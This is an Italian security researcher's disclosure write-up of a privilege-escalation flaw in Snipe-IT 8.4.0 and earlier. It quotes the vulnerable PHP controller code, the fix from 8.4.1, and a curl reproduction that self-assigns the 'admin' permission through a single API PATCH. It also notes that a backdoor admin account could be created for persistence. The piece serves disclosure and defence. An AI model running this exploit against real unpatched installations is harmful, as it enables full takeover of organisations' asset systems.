Tutti i post
CVE-2026-44832
CVSS 8.3 · HIGH
CWE-269
Autenticato

Quando un unset() mancante regala l’admin

Come un solo unset(‘superuser’) — senza l’equivalente per la chiave admin — ha permesso a qualsiasi utente con users.edit di auto-assegnarsi l’admin via API e prendere il controllo completo di Snipe-IT ≤ 8.4.0.

Lorenzo Fradeani··~7 min di lettura·GHSA-hq28-crg7-95pr
CVE-2026-44832 — Privilege escalation via permessi API in Snipe-IT

Il 5 maggio 2026 è stata pubblicata — come GitHub Security Advisory GHSA-hq28-crg7-95pr — una vulnerabilità che ho riportato in Snipe-IT, il sistema di asset management open source di Grokability (Laravel, ~11k stelle su GitHub). Nelle versioni ≤ 8.4.0 qualsiasi utente autenticato con il solo permesso users.edit poteva auto-assegnarsi il permesso admin con una singola richiesta PATCH /api/v1/users/{id}, scavalcando l’intero modello di autorizzazione. Il fix è nella versione 8.4.1.

La parte interessante non è una capability dimenticata, ma una protezione parziale: lo sviluppatore ha rimosso con cura la chiave superuser dai permessi che un utente non-superadmin può assegnare — ma ha lasciato passare admin, che in Snipe-IT è altrettanto totalizzante. Un solo unset() in più avrebbe chiuso il buco.

Nota sul punteggio. L’advisory GitHub classifica la severità come High senza pubblicare un punteggio numerico. Il vettore CVSS 3.1 che ho assegnato in fase di analisi è AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L = 8.3 (High), coerente con la classificazione del vendor. La finding è stata accreditata pubblicamente (co-reporter indipendente: 0xrdi).

Premessa: in Snipe-IT admin bypassa ogni policy

Snipe-IT usa permessi granulari costruiti sulle Laravel Policies. Il punto chiave è la policy di base SnipePermissionsPolicy, il cui metodo before() corto-circuita ogni controllo di risorsa:

app/Policies/SnipePermissionsPolicy.php · before()
public function before(User $user, $ability, $item)
{
    if ($user->hasAccess('admin')) {
        return true; // admin → true su ogni ability, per ogni risorsa
    }
}

Chi possiede admin non deve superare nessun altro check: la policy ritorna true in testa a tutto. In un sistema del genere l’unica domanda che conta per un attaccante è: posso assegnarmi la chiave admin? La risposta, fino alla 8.4.0, era sì.

Il blocco che strippa una sola chiave

L’UsersController dell’API gestisce i permessi in ingresso così, sia in update() (righe 590–599) sia in store() (righe 450–458):

app/Http/Controllers/Api/UsersController.php · update(), righe 590–599
if ($request->has('permissions')) {
    $permissions_array = $request->input('permissions');

    // Rimuove il solo permesso superuser se il caller non è superadmin
    if (!auth()->user()->isSuperUser()) {
        unset($permissions_array['superuser']);
    }

    $user->permissions = $permissions_array;
}

Due difetti si sommano qui. Primo: viene rimossa solo superuser; admin — e ogni altra chiave — passa senza controlli. Secondo: questo blocco è fuori dal gate canEditAuthFields (righe 552–570), che protegge password, username, email e activated. L’unica autorizzazione che serve per raggiungerlo è il check di riga 535, $this->authorize(‘update’, $user), che verifica soltanto users.edit.

È il pattern della protezione parziale: alcuni campi sensibili sono dietro un gate, altri — qui i permessi, cioè i più sensibili di tutti — sono rimasti fuori. Quando un sottoinsieme di campi è protetto da un middleware o da un gate, vale sempre la pena verificare che tutti i campi pericolosi siano coperti.

Lo stesso buco anche nel controller web

Non è un incidente isolato all’API: il controller web replica identico il pattern nel metodo store(), così che anche la creazione utente dalla UI possa forgiare un account con permessi arbitrari:

app/Http/Controllers/Users/UsersController.php · store(), righe 123–128
$permissions_array = $request->input('permission');
if (! auth()->user()->isSuperUser()) {
    unset($permissions_array['superuser']);
}
$user->permissions = json_encode($permissions_array);

Riproduzione

Basta il token API di un utente con soli users.view / users.edit / users.create (né admin né superuser). Il momento diagnostico è il confronto di stato prima e dopo un solo PATCH:

bash
# 0. Prima dell'exploit l'accesso agli asset è negato
curl -s -o /dev/null -w '%{http_code}\n' http://TARGET/api/v1/hardware \
  -H "Authorization: Bearer ATTACKER_TOKEN" -H "Accept: application/json"
# 403

# 1. Auto-assegnazione di admin con una singola richiesta
curl -s -X PATCH http://TARGET/api/v1/users/ME_ID \
  -H "Authorization: Bearer ATTACKER_TOKEN" \
  -H "Accept: application/json" \
  --data-urlencode "permissions[users.view]=1" \
  --data-urlencode "permissions[users.edit]=1" \
  --data-urlencode "permissions[admin]=1" \
  | jq '.payload.permissions'
# { "users.view": 1, "users.edit": 1, "admin": 1 }

# 2. Stesso endpoint di prima: ora ritorna 200 — accesso completo
curl -s -o /dev/null -w '%{http_code}\n' http://TARGET/api/v1/hardware \
  -H "Authorization: Bearer ATTACKER_TOKEN" -H "Accept: application/json"
# 200

Da lì l’attaccante ha lettura/scrittura/cancellazione su tutti gli asset, accessori, componenti, licenze, utenti, sedi e report — e può usare lo stesso store() per creare un account admin di backdoor come persistenza. L’unica chiave che non può auto-assegnarsi resta superuser, correttamente rimossa.

Perché è un CVE distinto (e non un duplicato)

Lo stesso endpoint utenti di Snipe-IT è stato toccato da altre due CVE, con root cause diverse. Vale la pena tenerle separate:

  • CVE-2025-15602 — mass assignment di attributi utente (es. email), patchata in v8.3.7. Root cause diversa: campi anagrafici, non i permessi.
  • CVE-2026-38533 — bypass di ownership del gate canEditAuthFields (password, activated), reporter diverso.
  • CVE-2026-44832 (questa) — l’array permissions, fuori dal gate, accetta la chiave admin perché solo superuser viene strippato.

Timeline della disclosure

DataEvento
2026-03-09Report inviato via email a security@snipeitapp.com (canale ufficiale da SECURITY.md)
2026-03-12Il vendor conferma il fix su master e chiede l’ID CVE
2026-04-07Rilascio di v8.4.1 (fix) — inizialmente senza CVE né advisory
2026-04-16CVE richiesto per completare l’attribuzione
2026-05-05Pubblicazione GitHub Security Advisory GHSA-hq28-crg7-95pr (CVE-2026-44832)
2026-05-06Crediti accettati; pubblicazione di questo writeup

Mitigazione

Aggiornare a Snipe-IT 8.4.1 o successiva. Nella 8.4.1 la normalizzazione dei permessi è stata rifattorizzata in un’azione dedicata (PreserveUnauthorizedPrivilegedPermissionsAction) che rimuove entrambe le chiavi privilegiate per i caller non autorizzati. La forma della correzione è questa:

Forma della fix (v8.4.1) — entrambe le chiavi privilegiate rimosse
if (!auth()->user()->isSuperUser()) {
    unset($permissions_array['superuser']);
}

// Aggiunto: rimuovi anche 'admin' se il caller non è già admin/superuser
if (!auth()->user()->hasAccess('admin') && !auth()->user()->isSuperUser()) {
    unset($permissions_array['admin']);
}

La lezione di design è più ampia del singolo unset(): una allow-list è più sicura di una deny-list. Rimuovere “le chiavi pericolose” che conosci oggi lascia scoperte quelle che aggiungerai domani; consentire esplicitamente solo le chiavi che il caller può assegnare è robusto rispetto all’evoluzione del set di permessi. E i campi che decidono i privilegi vanno trattati come i più sensibili di tutti, mai come un ramo dimenticato fuori dal gate di autorizzazione.

Advisory GitHub e record CVE

GitHub Security Advisory pubblicata dal vendor (Grokability) con impatto, versioni affette, commit di fix e crediti. Record CVE ufficiale su cve.org.

Lorenzo Fradeani è un security researcher indipendente focalizzato su vulnerability research e tooling di sicurezza offensiva. Disponibile per collaborazioni AppSec e ingaggi di pentest da Massa-Carrara e completamente da remoto. Contattami.

CVE-2026-44832 — Privilege escalation via assegnazione permessi API in Snipe-IT · Lorenzo Fradeani